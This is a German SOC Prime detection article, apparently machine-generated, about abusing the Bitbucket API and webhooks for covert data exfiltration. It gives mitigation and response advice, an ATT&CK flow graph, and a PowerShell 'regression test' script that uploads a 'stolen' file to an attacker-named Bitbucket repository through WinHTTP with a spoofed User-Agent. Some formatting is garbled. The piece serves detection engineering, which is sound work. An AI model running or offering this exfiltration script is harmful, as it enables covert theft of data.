SOC Prime Bias: Medium

06 Apr. 2026 17:58

Bitbucket API-Missbrauch: Ein einfacher Trick für heimlichen Datendiebstahl

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Bitbucket API-Missbrauch: Ein einfacher Trick für heimlichen Datendiebstahl
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Dieser Proof of Concept zeigt, wie ein kleines C-Programm die Bitbucket-Webhook-API missbrauchen kann, um Host-Telemetrie von einem kompromittierten Windows-System zu exfiltrieren. Es sammelt Details wie Hostname, Betriebssystem-Build, CPU-Informationen und Netzwerkadapterdaten und versteckt dann die Ausgabe im Beschreibungsfeld eines neu erstellten Webhooks, wodurch es sich still in den normalen Cloud-Datenverkehr einfügt.

Untersuchung

Der Autor teilt den vollständigen Quellcode, die Build-Schritte und Muster-Curl-Anfragen, um den Webhook zu erstellen, zu inspizieren und zu löschen, der zur End-to-End-Leckage verwendet wird. Das kompilierte Binärprogramm wurde auf einem Windows 10 x64 22H2-Host in einer ANY.RUN-Sandbox ausgeführt und übermittelte Daten ohne offensichtliche Warnungen. Der Bericht weist auch auf ähnliche Missbrauchsfälle auf Git-Plattformen hin, die in jüngsten APT-Aktivitäten dokumentiert wurden.

Minderung

Überwachen Sie ausgehendes HTTPS zu Bitbucket und anderen Code-Hosts und markieren Sie API-Anrufe, die unerwartet Webhooks erstellen oder merkwürdigen Beschreibungstext enthalten. Erfordern Sie eine starke Authentifizierung, begrenzen und beschränken Sie API-Token, wenden Sie das Prinzip der minimalen Rechte an und auditieren Sie regelmäßig Änderungen an den Repository-Konfigurationen.

Reaktion

Bei Erkennung blockieren Sie ausgehenden Bitbucket-Verkehr vom Host, widerrufen Sie exponierte API-Token und inventarisieren Sie Webhooks in Repositories, um schädliche Einträge zu entfernen. Sammeln Sie Endpunkt-Artefakte für forensische Zwecke, scannen Sie nach Folge-Nutzlasten und rotieren Sie Anmeldeinformationen für CI/CD- und Entwicklerkonten.

"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Action</b> – Systeminformationen sammeln"] class action_collect action tech_sysinfo["<b>Technik</b> – <b>T1082 System Information Discovery</b><br/><b>Beschreibung</b>: Sammeln von Host-Details wie Hostname, OS-Version, CPU-Architektur, Prozessoranzahl, logische Laufwerke und IP-Adressen."] class tech_sysinfo technique tool_bitbucket["<b>Werkzeug</b> – Bitbucket Cloud REST API<br/><b>Methode</b>: POST mit Base64-kodiertem Benutzername:APIu2011Token"] class tool_bitbucket tool tech_webservice["<b>Technik</b> – <b>T1102.002 Web Service: Bidirektionale Kommunikation</b><br/><b>Beschreibung</b>: Verwendung einer legitimen Web-Service-API zum Senden und Empfangen von Daten."] class tech_webservice technique tech_exfil_repo["<b>Technik</b> – <b>T1567.001 Exfiltration Over Web Service: Datenexfiltration zu einem Code-Repository</b><br/><b>Beschreibung</b>: Hochladen gesammelter Daten in ein Code-Hosting-Repository über die API des Dienstes."] class tech_exfil_repo technique tech_exfil_webhook["<b>Technik</b> – <b>T1567.004 Exfiltration Over Web Service: Datenexfiltration über Webhook</b><br/><b>Beschreibung</b>: Senden von Daten über einen konfigurierten Webhook, um Informationen aus der Umgebung zu transportieren."] class tech_exfil_webhook technique tech_obfuscation["<b>Technik</b> – <b>T1001.003 Datenverschleierung: Protokoll- oder Dienstimitation</b><br/><b>Beschreibung</b>: Maskiert schädlichen Datenverkehr als normale API-Anfragen an einen vertrauenswürdigen Dienst."] class tech_obfuscation technique %% Verbindungen action_collect –>|verwendet| tech_sysinfo tech_sysinfo –>|liefert Daten an| tool_bitbucket tool_bitbucket –>|nutzt| tech_webservice tool_bitbucket –>|erstellt Webhook für| tech_exfil_repo tool_bitbucket –>|erstellt Webhook für| tech_exfil_webhook tech_webservice –>|wird verschleiert durch| tech_obfuscation tech_exfil_repo –>|exfiltriert Daten über| tech_obfuscation tech_exfil_webhook –>|exfiltriert Daten über| tech_obfuscation "

Angriffsfluss

Simulationsdurchführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die ermittelten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffs-Narrative & Befehle:
    Der simulierte Angreifer hat einen kleinen Datensatz (z.B. C:tempstolen.txt) erhalten und möchte ihn in ein privates Bitbucket-Repository exfiltrieren, ohne Verdacht zu erregen. Um sich mit legitimen Entwicklungstools zu vermischen, wählt der Angreifer das native WinHTTP-COM-Objekt (WinHttp.WinHttpRequest.5.1), da es häufig auf Windows-Systemen vorhanden ist und direkt die WinHttpConnect and WinHttpSendRequest Funktionen aufruft, die die Erkennungsregel überwacht.

    1. Erstellen Sie eine temporäre Datei, die Dummy-Exfiltrationsdaten enthält.
    2. Instanziieren Sie das WinHTTP-COM-Objekt.
    3. Öffnen Sie eine POST-Verbindung zu https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src.
    4. Setzen Sie die entsprechenden Header (Authorization: Basic …, Content-Type: multipart/form-data).
    5. Senden Sie den Dateiinhalts.
    6. Überprüfen Sie die HTTP 200 Antwort.

    Diese genaue Sequenz lässt Sysmon ein NetworkConnect Ereignis protokollieren, bei dem der Prozess is powershell.exe und die Funktion Kette enthält WinHttpConnect and WinHttpSendRequest, was die Sigma-Regel erfüllt.

  • Regressionstest-Skript:

    # --------------------------------------------------------------
    # Bitbucket API Exfiltration über WinHTTP (Sigma-Regel-auslösen)
    # --------------------------------------------------------------
    $tempFile   = "C:tempstolen.txt"
    $repoOwner  = "evilcorp"
    $repoName   = "leaked-data"
    $username   = "eviluser"
    $appPassword = "APPPASSWD"   # Base64 von "Benutzername:AppPassword"
    $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword"))
    
    # 1. Dummy-Daten erstellen, falls nicht vorhanden
    if (-not (Test-Path $tempFile)) {
        "Sensible Daten, gesammelt durch Angreifer" | Set-Content -Path $tempFile -Encoding UTF8
    }
    
    # 2. Multipart/Form-Daten-Payload erstellen
    $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)"
    $body = @"
    --$boundary
    Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)"
    Content-Type: application/octet-stream

$(Get-Content $tempFile -Raw) –$boundary– „@

# 3. WinHTTP-COM-Objekt initialisieren
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"

# 4. POST-Anfrage öffnen
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false)   # synchrone Anfrage

# 5. Erforderliche Header setzen
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

# 6. Payload senden (dies löst WinHttpConnect + WinHttpSendRequest aus)
$winHttp.Send($body)

# 7. Antwortstatus zur Überprüfung ausgeben
Write-Host "HTTP-Status:" $winHttp.Status
Write-Host "Antwortkörper:" $winHttp.ResponseText
  • Bereinigungskommandos:

    # Temporäre Datei löschen
    Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue
    
    # Optionale Rücknahme des Bitbucket-Anwendungspassworts über Web-UI
    Write-Host "Bereinigung abgeschlossen. Denken Sie daran, die hochgeladene Datei aus dem Repository zu löschen, falls erforderlich."